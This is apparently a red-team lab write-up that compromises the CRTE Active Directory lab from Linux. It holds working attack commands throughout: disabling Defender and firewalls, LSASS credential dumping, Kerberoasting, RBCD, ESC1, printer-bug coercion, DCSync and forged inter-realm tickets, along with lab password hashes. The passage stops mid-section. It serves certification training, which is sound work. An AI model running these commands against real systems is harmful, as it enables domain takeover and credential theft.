Post

CRTE Lab: Pwning a Multi-Forest AD Environment Entirely from Linux

I recently completed the CRTE (Certified Red Team Expert) lab from Altered Security. If you’re not familiar with it, the lab is a massive multi-domain, multi-forest Active Directory environment packed with misconfigurations to exploit. The course material and almost every writeup out there walks you through it using Windows tools: PowerView, Rubeus, Mimikatz, the whole PowerShell-heavy workflow.

I did it differently. I attacked the entire lab from Kali Linux.

Why? Because that’s how I work on real engagements. I come from an OSCP background and I’ve spent most of my professional career attacking AD environments from Linux using impacket, netexec, certipy, bloodyAD, and the rest of the Linux AD toolkit. When I started CRTE, I wanted to see if I could get through the whole thing without switching my workflow. Turns out, you absolutely can.

So here it is. Every domain, every attack path, all from Linux.

Oh, and I also passed the CRTE exam from Linux. ;)

The Lab Environment

The CRTE lab is a multi-forest environment with the following domains:

  • us.techcorp.local (child domain, starting point)
  • techcorp.local (root/parent domain)
  • eu.local (external forest, bidirectional trust with us.techcorp.local)
  • euvendor.local (external forest, trust with eu.local)
  • usvendor.local (external forest, trust with techcorp.local)
  • bastion.local (external forest, trust with techcorp.local)
  • production.local (external forest, PAM trust with bastion.local)
  • db.local (accessible via MSSQL linked servers)
  • dbvendor.local (external forest, trust with db.local)

Attack Graph

Here is an overview of all the attack paths I took through the lab. Each branch is documented in detail below.

graph TD
    A[studentuser28<br/>us.techcorp.local] --> B[Priv Esc: Service Abuse<br/>Local Admin on Student VM]
    B --> C[Ligolo + SSH Pivot Setup]

    A --> K1[Kerberoasting<br/>serviceaccount:Password123]
    A --> K2[Force Password Change<br/>SUPPORT28USER via bloodyAD]

    A --> D[Add self to MachineAdmins<br/>bloodyAD]
    D --> E[Local Admin on US-MGMT<br/>lsassy: mgmtadmin hash]
    E --> F[RBCD on US-HELPDESK<br/>impacket addcomputer + rbcd + getST]
    F --> G[lsassy: helpdeskadmin hash]
    G --> H[Local Admin on US-ADCONNECT<br/>evil-winrm]
    H --> I[Hybrid Identity Enumeration]

    A --> L[Read LAPS Password<br/>US-MAILMGMT via bloodyAD]
    L --> M[evil-winrm: provisioningsvc hash]
    M --> N[gMSA: jumpone$ hash<br/>nxc --gmsa]
    N --> O[Local Admin on US-JUMP1<br/>lsassy dump]

    O --> P1[pawadmin hash<br/>ADCS ESC1 via certipy]
    P1 --> P2[techcorp.local DA<br/>DCSync root domain]

    O --> W1[webmaster hash<br/>Local Admin US-WEB]
    W1 --> W2[Unconstrained Delegation<br/>Printer Bug + Rubeus]
    W2 --> W3[US-DC TGT Captured<br/>ticketConverter + DCSync]

    O --> CD1[appsvc hash<br/>Constrained Delegation]
    CD1 --> CD2[Admin on US-MSSQL<br/>impacket-getST + secretsdump]

    W3 --> EU1[EU.LOCAL<br/>Cross-forest Kerberoasting]
    EU1 --> EU2[storagesvc:Qwerty@123<br/>Constrained Delegation]
    EU2 --> EU3[EU-DC DCSync]

    EU3 --> EUV1[EUVENDOR.LOCAL<br/>Inter-realm Ticket + SID History]
    EUV1 --> EUV2[Admin on EUVENDOR-NET<br/>evil-winrm via Kerberos]
    EUV2 --> EUV3[EUVENDOR-DC<br/>DCSync]

    W2 --> USV1[USVENDOR.LOCAL<br/>Printer Bug from US-WEB]
    USV1 --> USV2[USVENDOR-DC TGT<br/>ticketConverter + DCSync]

    P2 --> BAS1[BASTION.LOCAL<br/>Trust abuse from techcorp DA]
    BAS1 --> BAS2[BASTION-DC DCSync]
    BAS2 --> PROD1[PRODUCTION.LOCAL<br/>Shadow Principals / PAM Trust]

    CD2 --> DB1[DB.LOCAL<br/>MSSQL Linked Servers]
    DB1 --> DB2[xp_cmdshell on DB-SQLPROD]
    DB2 --> DB3[Shell on DB-SQLSRV<br/>as srvdba in db.local]
    DB3 --> DBV1[DBVENDOR.LOCAL<br/>GenericAll ACL abuse]
    DBV1 --> DBV2[Reset dbXsvc password<br/>FSP in db.local Admins]
    DBV2 --> DB4[DB-DC Admin<br/>db.local DA]

    style A fill:#e74c3c,color:#fff
    style P2 fill:#27ae60,color:#fff
    style W3 fill:#27ae60,color:#fff
    style EU3 fill:#27ae60,color:#fff
    style EUV3 fill:#27ae60,color:#fff
    style USV2 fill:#27ae60,color:#fff
    style BAS2 fill:#27ae60,color:#fff
    style PROD1 fill:#27ae60,color:#fff
    style DB4 fill:#27ae60,color:#fff
    style DBV2 fill:#27ae60,color:#fff

Red = starting point. Green = domain compromised or objective reached.

Tools Used

Tool Purpose
impacket Kerberoasting, RBCD, constrained/unconstrained delegation, secretsdump, ticketConverter, getST, smbexec, mssqlclient
netexec (nxc) SMB enumeration, credential spraying, lsassy module, gMSA dump, MSSQL link enumeration
bloodyAD ACL abuse, group membership changes, LAPS reads, password changes
certipy ADCS enumeration and ESC1 exploitation
evil-winrm WinRM shells via password, hash, or Kerberos
lsassy Remote LSASS credential dumping
rusthound BloodHound data collection from Linux via Kerberos
krbrelayx (printerbug.py) Triggering the printer bug for unconstrained delegation
mssqlpwner MSSQL link enumeration and exploitation
PFTP Multi-protocol file transfer hub (HTTP/FTP/SMB) for serving tools and receiving exfiltrated data
ligolo-ng Tunneling/pivoting
Rubeus Monitor mode on Windows targets for unconstrained delegation (the one Windows tool I had to use on target)

Setup

The only time we touch Windows directly is to gain local admin on the student VM and set up the tunneling. After that, everything runs from Kali.

Step 1: Privilege Escalation on the Student VM

The student VM is where you start. I RDP’d in and ran PowerUp to check for local privilege escalation vectors:

1
Invoke-AllChecks

PowerUp identified an abusable service (ALG). I used it to add my domain user to the local administrators group:

1
Invoke-ServiceAbuse -Name ALG -UserName "US\studentuser28"

Verified:

Now we have local admin on the student VM. This is needed for the next steps.

Step 2: SSH Setup (Initial Pivoting)

With local admin, I installed OpenSSH on the student VM to use it as a pivot. I downloaded the Win32-OpenSSH package, transferred it to the VM, and set it up:

1
2
cd "C:\Program Files\OpenSSH"
.\install-sshd.ps1

Open the firewall for SSH:

1
New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -LocalPort 22 -Action Allow

Start the service and set it to auto:

1
2
net start sshd
Set-Service sshd -StartupType Automatic

With SSH up, I could create a SOCKS proxy from Kali using dynamic port forwarding:

1
ssh -D 1080 studentuser28@<STUDENT_VM_IP>

Then use proxychains to route my tools through the tunnel. This worked, and you’ll see proxychains -q in front of my early commands for that reason.

Step 3: Switching to Ligolo-ng

SSH + SOCKS + proxychains works, but it gets annoying. Not all tools play nice with proxychains, and you’re constantly prefixing every command. I switched to ligolo-ng which is way cleaner.

On Kali, I created a tun interface and started the ligolo proxy:

1
2
3
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:443

Then on the student VM, I connected the ligolo agent back to my Kali:

1
.\agent.exe --connect <KALI_VPN_IP>:443 -ignore-cert

Once the agent connected, I added the route on Kali and started the tunnel. After that, every tool on my Kali box could reach the internal machines directly. No proxychains needed. This is the main advantage of ligolo over a SOCKS proxy: it creates a proper tun interface so all your tools just work natively.

You’ll notice my early commands use proxychains and later ones don’t. That’s because I initially used SSH + SOCKS before switching to ligolo. Once ligolo was up, proxychains was no longer necessary.

Tool Transfer with PFTP

To get tools onto compromised Windows machines, I used PFTP. It’s a multi-protocol file transfer hub I built specifically for pentesting. It serves tools over HTTP, FTP, and SMB simultaneously, with a web UI for browsing files and generating download commands. Setting it up:

1
2
3
pftp install
pftp start
pftp add-tool ~/tools/mimikatz.exe

On the student VM (now that we have admin), I set up a port forward so that internal machines could reach PFTP on my Kali through the student VM:

1
2
netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=80 connectaddress=<KALI_IP>
netsh advfirewall firewall add rule name="PortProxy 80" protocol=TCP dir=in localport=80 action=allow

Now any compromised machine in the lab could download tools with:

1
iwr -Uri "http://<STUDENT_VM_IP>:80/mimikatz.exe" -OutFile "mimikatz.exe"

Kerberos Realm Configuration

When you’re doing Kerberos-based attacks from Linux, you need /etc/krb5.conf configured for each domain you interact with. I wrote a small helper script to make this painless:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash
# Usage: ./add_realm.sh <REALM> <KDC_IP>
REALM=$1
KDC_IP=$2
LOWER_REALM=$(echo "$REALM" | tr '[:upper:]' '[:lower:]')

if [[ -z "$REALM" || -z "$KDC_IP" ]]; then
    echo "Usage: $0 <REALM> <KDC_IP>"
    exit 1
fi

sudo sed -i "s/^\s*default_realm = .*/        default_realm = $REALM/" /etc/krb5.conf
grep -q "udp_preference_limit" /etc/krb5.conf || \
    sudo sed -i "/default_realm/a\\        udp_preference_limit = 0" /etc/krb5.conf

sudo sed -i "/^\[realms\]/a\\        $REALM = {\n            kdc = $KDC_IP\n            admin_server = $KDC_IP\n        }" /etc/krb5.conf

sudo sed -i "/^\[domain_realm\]/a\\        .$LOWER_REALM = $REALM\n        $LOWER_REALM = $REALM" /etc/krb5.conf

echo "[+] Done. Realm $REALM added with KDC $KDC_IP"

The udp_preference_limit = 0 forces TCP for Kerberos, which avoids fragmentation issues with large tickets that you’ll inevitably hit when dealing with cross-forest TGTs.

Domain Enumeration: Computers and IPs

Before going any further, I needed a list of all machines in the domain and their IPs. This is something you do once and it saves you a ton of time later.

Get all computer hostnames:

1
2
nxc ldap 192.168.1.2 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' \
    --computers | grep -oP 'LDAP.*\s\K\S+(?=\$)' | sed 's/$//' > computers.txt

Resolve all hostnames to IPs and save them:

1
2
3
4
cat computers.txt | while read host; do
    ip=$(dig +short ${host}.us.techcorp.local @192.168.1.2)
    echo "$ip    ${host}.us.techcorp.local    $host"
done | grep -v '^$' | awk '{print $1}' > ips.txt

Add everything to /etc/hosts:

1
2
3
4
cat computers.txt | while read host; do
    ip=$(dig +short ${host}.us.techcorp.local @192.168.1.2)
    echo "$ip    ${host}.us.techcorp.local    $host"
done | grep -v '^$' | sudo tee -a /etc/hosts

Now I can reference machines by hostname and have ips.txt ready for credential spraying later.

BloodHound Collection

For BloodHound data collection, I used RustHound which works natively from Linux and supports Kerberos authentication. This was essential for mapping out attack paths in foreign domains where I only had Kerberos tickets and no plaintext credentials.


Kerberoasting

From Kali, I ran impacket’s GetUserSPNs to find kerberoastable accounts:

1
2
3
impacket-GetUserSPNs -request -dc-ip '192.168.1.2' \
    'us.techcorp.local/studentuser28:DNzx8jgndLqpWXN1' \
    -outputfile kerberoasting.hashes
1
2
3
4
ServicePrincipalName              Name            MemberOf  PasswordLastSet             LastLogon                   Delegation
--------------------------------  --------------  --------  --------------------------  --------------------------  -----------
USSvc/serviceaccount              serviceaccount            2019-07-16 03:03:27.644941  <never>
appsvc/us-jump.us.techcorp.local  appsvc                    2021-01-08 08:50:35.765601  2026-02-26 03:11:32.710988  constrained

Two accounts with SPNs. The appsvc account is interesting because it has constrained delegation configured, but we’ll get to that later.

Cracking with hashcat:

1
sudo hashcat -m 13100 kerberoasting.hashes /usr/share/wordlists/rockyou.txt --force

serviceaccount:Password123. Classic.

Force Password Change on SUPPORT28USER

According to BloodHound, my student user has the ability to force-change the password of SUPPORT28USER. Using bloodyAD:

1
2
3
bloodyAD --host '192.168.1.2' -d 'us.techcorp.local' \
    -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' \
    set password 'SUPPORT28USER' 'DNzx8jgndLqpWXN1'


Path 1: MachineAdmins -> US-MGMT -> RBCD -> ADConnect

This is the longest chain in the lab and touches several attack techniques. Let me walk through it step by step.

Adding Myself to MachineAdmins

According to BloodHound, studentuser28 has the rights to add members to the MACHINEADMINS group, which has local admin rights on US-MGMT. Using bloodyAD:

1
2
3
proxychains -q bloodyAD --host 192.168.1.2 -d 'us.techcorp.local' \
    -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' \
    add groupMember 'MACHINEADMINS' 'studentuser28'

Verify local admin on US-MGMT:

1
proxychains -q nxc smb 192.168.1.31 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1'

Pwn3d!. We’re in.

Dumping Credentials from US-MGMT

First, I disabled Defender and the firewall on the target to allow credential dumping:

1
2
proxychains -q nxc smb 192.168.1.31 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' \
    -X 'Set-MpPreference -DisableRealtimeMonitoring $true; netsh advfirewall set allprofiles state off'

(I forgot to screenshot this one.)

Then I used lsassy via nxc to pull credentials from LSASS memory:

1
proxychains -q nxc smb 192.168.1.31 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' -M lsassy

Got mgmtadmin:e53153fc2dc8d4c5a5839e46220717e5.

As an alternative, lsassy can also be used standalone:

1
2
proxychains lsassy -u studentuser28 -p DNzx8jgndLqpWXN1 \
    -d us.techcorp.local -dc-ip 192.168.1.2 192.168.1.31 -v

Verified the hash works:

1
nxc smb 192.168.100.28 -u 'mgmtadmin' -H 'e53153fc2dc8d4c5a5839e46220717e5'

RBCD Attack on US-HELPDESK

According to BloodHound, mgmtadmin has GenericWrite over the US-HELPDESK$ computer object. This means we can configure Resource-Based Constrained Delegation (RBCD) to impersonate any user to US-HELPDESK.

The RBCD attack from Linux requires three steps:

1. Create a computer object (as any domain user, since the default ms-DS-MachineAccountQuota is 10):

1
2
3
4
5
6
7
proxychains -q impacket-addcomputer \
    -method LDAPS \
    -computer-name 'ATTACKERSYSTEM$' \
    -computer-pass 'Summer2018!' \
    -dc-host 192.168.1.2 \
    -domain-netbios us.techcorp.local \
    'us.techcorp.local/studentuser28:DNzx8jgndLqpWXN1'

2. Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on US-HELPDESK, delegating from our fake computer:

1
2
3
4
5
6
7
proxychains -q impacket-rbcd \
    -dc-host 192.168.1.2 \
    -delegate-from 'ATTACKERSYSTEM$' \
    -delegate-to 'US-HELPDESK$' \
    -action 'write' \
    -hashes ':e53153fc2dc8d4c5a5839e46220717e5' \
    'us.techcorp.local/mgmtadmin'

3. Request a service ticket impersonating Administrator:

1
2
3
4
5
proxychains -q impacket-getST \
    -spn 'cifs/US-HELPDESK.us.techcorp.local' \
    -impersonate 'administrator' \
    -dc-ip 192.168.1.2 \
    'us.techcorp.local/ATTACKERSYSTEM$:Summer2018!'

This gives us a .ccache file with a CIFS service ticket as Administrator. Under the hood, impacket performs S4U2Self followed by S4U2Proxy. The KDC checks the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on US-HELPDESK, sees that ATTACKERSYSTEM$ is allowed to delegate, and issues the ticket.

Dumping US-HELPDESK

With the RBCD ticket, I ran mimikatz on US-HELPDESK to dump logged-in credentials:

1
C:\temp\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'

I also added my user to the local administrators group on US-HELPDESK:

Verified:

Then dumped credentials using lsassy:

1
2
proxychains -q lsassy -u studentuser28 -p DNzx8jgndLqpWXN1 \
    -d us.techcorp.local -dc-ip 192.168.1.2 192.168.1.44 -v
1
proxychains -q nxc smb 192.168.1.44 -u 'studentuser28' -p 'DNzx8jgndLqpWXN1' -M lsassy

Got helpdeskadmin:94b4a7961bb45377f6e7951b0d8630be.

Verified:

1
proxychains -q nxc smb 192.168.1.2 -u 'helpdeskadmin' -H '94b4a7961bb45377f6e7951b0d8630be'

Hunting for Admin Access with helpdeskadmin

With the helpdeskadmin hash, I sprayed it across all machines to see where this account has admin access:

1
nxc smb ips.txt -u 'helpdeskadmin' -H '94b4a7961bb45377f6e7951b0d8630be'

helpdeskadmin is local admin on US-ADCONNECT. That’s a juicy target because ADConnect machines store credentials for the Azure AD / Entra Connect synchronization service.

US-ADCONNECT: Hybrid Identity

WinRM in with evil-winrm:

1
evil-winrm -i '192.168.1.209' -u 'helpdeskadmin' -H '94b4a7961bb45377f6e7951b0d8630be'

Confirmed the ADSync service is running:

1
Get-Service -Name ADSync

I also checked from Linux whether any MSOL_ accounts exist in the domain:

1
2
nxc ldap 192.168.1.2 -u 'helpdeskadmin' -H '94b4a7961bb45377f6e7951b0d8630be' \
    --users | grep -i "MSOL_\|AADConnect\|ADConnect"

Dumped LSASS on US-ADCONNECT with mimikatz (after disabling Defender):

1
.\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'sekurlsa::evasive-keys' 'exit'

Got the adconnect user hash: 4e150424ccf419d83ce3a8ad1db7b94a and the machine account credentials for US-ADCONNECT$.

I tried multiple tools to extract the MSOL_ cleartext password from the ADSync database but couldn’t find an active MSOL user or MSSQL instance on this server. This might be an issue with the lab environment itself, since it’s a shared environment with other students and it’s possible that unexpected changes happen. This path ended here for me.


Path 2: LAPS -> gMSA -> US-JUMP1

Reading LAPS Password

According to BloodHound, the Students group can read the LAPS password on US-MAILMGMT. bloodyAD makes this trivial:

1
2
3
4
proxychains -q bloodyAD --host 192.168.1.2 -d us.techcorp.local \
    -u studentuser28 -p DNzx8jgndLqpWXN1 \
    get search --filter '(ms-mcs-admpwdexpirationtime=*)' \
    --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

The LAPS password for US-MAILMGMT’s local Administrator: #gH0hRoG%CccS5

Getting provisioningsvc from US-MAILMGMT

WinRM in as Administrator:

1
evil-winrm -i 'US-MAILMGMT' -u 'administrator' -p '#gH0hRoG%CccS5'

Ran mimikatz and pulled provisioningsvc:44dea6608c25a85d578d0c2b6f8355c4 from LSASS.

Reading gMSA Password

According to BloodHound, provisioningsvc has permission to read the gMSA password for the jumpone$ account. netexec has a built-in module for this:

1
2
nxc ldap 192.168.1.2 -u provisioningsvc \
    -H 44dea6608c25a85d578d0c2b6f8355c4 --gmsa

jumpone$:4636eee3131055e54e9c0cbded216ff5

gMSA (Group Managed Service Accounts) passwords are automatically rotated by AD. They’re stored as a blob in the msDS-ManagedPassword attribute and only principals listed in msDS-GroupMSAMembership can read them. nxc’s --gmsa flag handles the LDAP query and password derivation for you.

Hunting with jumpone$

1
nxc smb ips.txt -u 'jumpone$' -H 4636eee3131055e54e9c0cbded216ff5

jumpone$ is local admin on US-JUMP1.

Looting US-JUMP1

Dumped LSASS from US-JUMP1:

1
nxc smb us-jump1 -u 'jumpone$' -H 4636eee3131055e54e9c0cbded216ff5 -M lsassy

This machine was a goldmine. Multiple credentials:

User Hash What it leads to
pawadmin 36ea28bfa97a992b5e85bd22485e8d52 ADCS ESC1 -> techcorp.local DA
webmaster 23d6458d06b25e463b9666364fb0b29f Unconstrained delegation on US-WEB
appsvc 1d49d390ac01d568f0ee9be82bb74d4c Constrained delegation to US-MSSQL

US-JUMP1 is a branching point. Three major paths open up from here.


Path 2a: ADCS ESC1 -> techcorp.local Domain Admin

According to BloodHound, pawadmin has enrollment rights on the FORADMINSOFPRIVILEGEDACCESSWORKSTATIONS certificate template, and this template is vulnerable to ESC1. ESC1 means the template allows the requester to specify a Subject Alternative Name (SAN), so we can request a certificate as any user.

The target here is the root domain techcorp.local. Using certipy:

1
2
3
4
5
6
7
certipy req -u '[email protected]' \
    -hashes ':36ea28bfa97a992b5e85bd22485e8d52' \
    -dc-ip 192.168.1.2 \
    -ca TECHCORP-DC-CA \
    -template FORADMINSOFPRIVILEGEDACCESSWORKSTATIONS \
    -upn [email protected] \
    -target 192.168.1.1

This gives us a .pfx certificate file with the [email protected] UPN baked into the SAN.

Authenticate with the certificate:

1
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.1

Certipy performs PKINIT authentication using the certificate and gets us a TGT as [email protected] saved as a .ccache file. Under the hood, it’s using the certificate’s private key to complete the Kerberos AS-REQ pre-authentication, proving to the KDC that we hold the private key corresponding to the certificate issued for Administrator.

Verify by getting a shell:

1
2
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass techcorp-dc.techcorp.local

Root domain compromised. Let’s DCSync it:

1
2
3
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass techcorp-DC.techcorp.local \
    -outputfile DCSync_techcorp.local -pwd-last-set -user-status

Key hashes from techcorp.local:

1
2
3
Administrator:500:...:bc4cf9b751d196c4b6e1a2ba923ef33f:::
krbtgt:502:...:7735b8be1edda5deea6bfbacb7f2c3e7:::
MSOL_16fb75d0227d:1104:...:c1db8cdcb7a89f56dd00b77e384c2c9c:::

Trust keys were also dumped, which we’ll need later for cross-forest attacks.


Path 2b: Unconstrained Delegation via US-WEB

webmaster is local admin on US-WEB, and US-WEB is configured for unconstrained delegation. When a machine has unconstrained delegation enabled, any user that authenticates to it will leave their TGT cached on that machine. If we can coerce a Domain Controller to authenticate to US-WEB, we capture the DC’s TGT and can DCSync the domain.

Getting on US-WEB

Verified admin access:

1
nxc smb us-web -u 'webmaster' -H 23d6458d06b25e463b9666364fb0b29f

WinRM in:

1
evil-winrm -i 'us-web' -u 'webmaster' -H '23d6458d06b25e463b9666364fb0b29f'

Disabled Defender and firewall:

1
Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; netsh advfirewall set allprofiles state off

Dumped the machine account hash with mimikatz:

1
.\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'

Got US-WEB$:892ca1e8d4343c652646b59b51779929.

Note: I tried DCSync at this point with the US-WEB$ machine account and it failed. The reason is that having DS-Replication-Get-Changes alone is not enough to perform DCSync. You also need DS-Replication-Get-Changes-All. Both permissions are required together.

Triggering the Printer Bug

Uploaded Rubeus to US-WEB via PFTP and started monitoring for incoming TGTs:

1
2
iwr -Uri "http://192.168.100.28:80/Rubeus.exe" -OutFile "Rubeus.exe"
.\Rubeus.exe monitor /interval:5 /nowrap

From Kali, I used printerbug.py from the krbrelayx toolkit to coerce the DC to authenticate to US-WEB:

1
2
3
python ./printerbug.py \
    us.techcorp.local/studentuser28:[email protected] \
    US-WEB.us.techcorp.local

The printer bug abuses the MS-RPRN RPC interface. Any authenticated domain user can call RpcRemoteFindFirstPrinterChangeNotificationEx on the DC, which causes the DC to authenticate back to a host of our choosing. Because US-WEB has unconstrained delegation, the DC’s TGT gets cached.

Back on Rubeus:

TGT for US-DC$ captured.

Converting the Ticket and DCSync

The captured ticket is in Rubeus’s base64 kirbi format. To use it from Linux, I needed to convert it:

1
2
3
echo "<base64_ticket>" | base64 -d > DC_ticket.kirbi
impacket-ticketConverter DC_ticket.kirbi DC_ticket.ccache
export KRB5CCNAME=DC_ticket.ccache

Before using the ticket, I made sure the Kerberos realm was configured:

1
./kerb_auth.sh US.TECHCORP.LOCAL 192.168.1.2

Verified the ticket:

1
klist
1
2
3
4
5
Ticket cache: FILE:DC_ticket.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
03/01/2026 23:04:12  03/02/2026 09:04:08  krbtgt/[email protected]

DCSync:

1
2
impacket-secretsdump -k -no-pass US-DC.us.techcorp.local \
    -just-dc -outputfile DCSync -pwd-last-set -user-status -history

us.techcorp.local fully compromised. Key hashes:

1
2
Administrator:500:...:43b70d2d979805f419e02882997f8f3f:::
krbtgt:502:...:b0975ae49f441adc6b024ad238935af5:::

Path 2c: Constrained Delegation to US-MSSQL

According to BloodHound, appsvc is configured for constrained delegation to CIFS/us-mssql.us.techcorp.local. This means we can request a service ticket impersonating any user (like Administrator) to the CIFS service on US-MSSQL.

1
2
3
4
5
6
impacket-getST \
    -spn CIFS/us-mssql.us.techcorp.local \
    -impersonate Administrator \
    us.techcorp.local/appsvc \
    -hashes ':1d49d390ac01d568f0ee9be82bb74d4c' \
    -dc-ip 192.168.1.2
1
export KRB5CCNAME='Administrator@[email protected]'

Verify:

1
nxc smb us-mssql.us.techcorp.local --use-kcache --shares

Full admin access. Disabled Defender via smbexec:

1
impacket-smbexec -k -no-pass -shell-type powershell -debug us-mssql.us.techcorp.local
1
Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; netsh advfirewall set allprofiles state off

Then dumped everything:

1
impacket-secretsdump 'us.techcorp.local/administrator'@us-mssql.us.techcorp.local -k -no-pass

Notable finding from the LSA secrets:

1
2
[*] _SC_MSSQLSERVER
US\dbservice:Us$r4RunningSQLSvc

The MSSQL service account password in cleartext, pulled from the LSA secret store.

Also ran lsassy for good measure:

1
lsassy -k --no-pass -d us.techcorp.local us-mssql.us.techcorp.local


EU.LOCAL: Cross-Forest Kerberoasting + Constrained Delegation

Now we move to external forests. eu.local has a bidirectional trust with us.techcorp.local, which means we can query it with our us.techcorp.local credentials.

Cross-Forest Kerberoasting

impacket’s GetUserSPNs supports the -target-domain flag to kerberoast across trusts:

1
2
3
4
impacket-GetUserSPNs -request \
    'us.techcorp.local/studentuser28:DNzx8jgndLqpWXN1' \
    -outputfile kerberoasting.hashes \
    -target-domain eu.local

Cracking:

1
sudo hashcat -m 13100 kerberoasting.hashes ../10k-worst-pass.txt --force

storagesvc:Qwerty@123

Constrained Delegation to EU-DC

According to BloodHound, storagesvc has constrained delegation configured to the time service on EU-DC. The -altservice flag in impacket lets us swap the service name in the ticket (since the service name isn’t in the encrypted part of the ticket). We change it to cifs for file system access:

1
2
3
4
5
6
impacket-getST \
    -spn time/EU-DC.eu.local \
    -impersonate Administrator \
    'eu.local/STORAGESVC:Qwerty@123' \
    -dc-ip 192.168.12.1 \
    -altservice 'cifs'

DCSync EU.LOCAL:

1
2
export KRB5CCNAME='Administrator@[email protected]'
impacket-secretsdump -k -no-pass eu.local/[email protected] -just-dc-ntlm

EU.LOCAL compromised.

1
2
3
Administrator:500:...:fe422f818eb7e9c6de5862d94739c2e4:::
krbtgt:502:...:83ac1bab3e98ce6ed70c9d5841341538:::
EUVENDOR$:1107:...:1c51a0eba335a6409aac1e7990bc1f7d:::

That EUVENDOR$ hash is the inter-realm trust key. We need it for the next step.


EUVENDOR.LOCAL: Inter-Realm Golden Ticket with SID History

euvendor.local trusts eu.local. With the EU.LOCAL krbtgt hash and the trust key, we can forge inter-realm tickets and escalate into EUVENDOR.LOCAL.

Enumeration with RustHound

First, I collected BloodHound data from euvendor.local using RustHound with Kerberos authentication:

1
2
3
4
5
6
7
8
9
./kerb_auth.sh euvendor.local 192.168.12.212
impacket-getTGT eu.local/administrator \
    -hashes ':fe422f818eb7e9c6de5862d94739c2e4' \
    -dc-ip 192.168.12.1
export KRB5CCNAME='administrator.ccache'
rusthound -d 'euvendor.local' -i 192.168.12.212 \
    -u '[email protected]' \
    -f 'euvendor-dc.euvendor.local' \
    -k -z --fqdn-resolver -v

I also verified access over SMB:

1
nxc smb 192.168.12.212 --use-kcache -u administrator --shares

Browsing the shares with impacket:

1
impacket-smbclient -k -no-pass EUVENDOR-DC.euvendor.local

Finding the Target Group

In BloodHound, I queried for custom groups in EUVENDOR.LOCAL:

1
MATCH (n:Group) WHERE n.domain = "EUVENDOR.LOCAL" AND toInteger(last(split(n.objectid, "-"))) > 1000 RETURN n

Found EUADMINS with RID 1103. This is the group we want to inject into our ticket via SID History.

Forging the Inter-Realm Ticket

Using impacket’s ticketer.py, I forged a TGT for the eu.local -> euvendor.local trust, injecting the EUADMINS SID as an extra SID (SID History):

1
2
3
4
5
6
7
ticketer.py \
    -nthash '1c51a0eba335a6409aac1e7990bc1f7d' \
    -domain-sid "S-1-5-21-3657428294-2017276338-1274645009" \
    -domain "EU.LOCAL" \
    -extra-sid "S-1-5-21-4066061358-3942393892-617142613-1103" \
    -spn "krbtgt/EUVENDOR.LOCAL" \
    "administrator"

This creates a referral TGT (an inter-realm ticket) encrypted with the trust key. The -extra-sid flag adds the EUADMINS group SID to the PAC’s SID History field. When EUVENDOR-DC receives this ticket and decrypts it with the trust key, it sees the SID History and grants us the privileges of that group. This works because SIDFilteringForestAware is True between eu.local and euvendor.local, which means SIDs with RID > 1000 are allowed through the filter.

Now request a service ticket for CIFS:

1
2
3
4
5
KRB5CCNAME="administrator.ccache"
getST.py -k -no-pass \
    -spn "CIFS/EUVENDOR-DC.euvendor.local" \
    "EUVENDOR.LOCAL/[email protected]" \
    -dc-ip 192.168.12.212

Verify:

1
2
export KRB5CCNAME=[email protected]@[email protected]
nxc smb 192.168.12.212 --use-kcache -u administrator --shares

We don’t have admin on the DC itself, but the EUADMINS group has admin rights on other machines. Trying EUVENDOR-NET:

1
2
3
4
5
6
7
8
9
10
11
ticketer.py -nthash '1c51a0eba335a6409aac1e7990bc1f7d' \
    -domain-sid "S-1-5-21-3657428294-2017276338-1274645009" \
    -domain "EU.LOCAL" \
    -extra-sid "S-1-5-21-4066061358-3942393892-617142613-1103" \
    -spn "krbtgt/EUVENDOR.LOCAL" "administrator"

KRB5CCNAME="administrator.ccache"
getST.py -k -no-pass \
    -spn "CIFS/EUVENDOR-NET.euvendor.local" \
    "EUVENDOR.LOCAL/[email protected]" \
    -dc-ip 192.168.12.212
1
2
export KRB5CCNAME=[email protected]@[email protected]
nxc smb 192.168.12.9 --use-kcache -u administrator --shares

Admin on EUVENDOR-NET confirmed. For WinRM access, I requested an HTTP service ticket:

1
2
3
4
5
export KRB5CCNAME=administrator.ccache
getST.py -k -no-pass \
    -spn "HTTP/EUVENDOR-NET.euvendor.local" \
    "EUVENDOR.LOCAL/[email protected]" \
    -dc-ip 192.168.12.212

1
2
export KRB5CCNAME='[email protected]@[email protected]'
evil-winrm -i EUVENDOR-NET.euvendor.local -r euvendor.local

Shell on EUVENDOR-NET via pure Kerberos authentication from Linux.

From EUVENDOR-NET to EUVENDOR-DC

From EUVENDOR-NET, I dumped credentials from LSASS to look for accounts with access to the DC. I forgot to take proper notes on this part (I know, I know), but the idea is straightforward: dump credentials on EUVENDOR-NET using mimikatz or lsassy, find a privileged account or the machine account hash, and use that to DCSync EUVENDOR-DC or use storagesvc’s constrained delegation from eu.local with the -altservice flag to request an LDAP ticket for EUVENDOR-DC, then DCSync.

EUVENDOR.LOCAL compromised.


USVENDOR.LOCAL: Printer Bug from US-WEB

Since we still have access to US-WEB (unconstrained delegation machine), we can use the printer bug again, this time targeting the USVENDOR-DC.

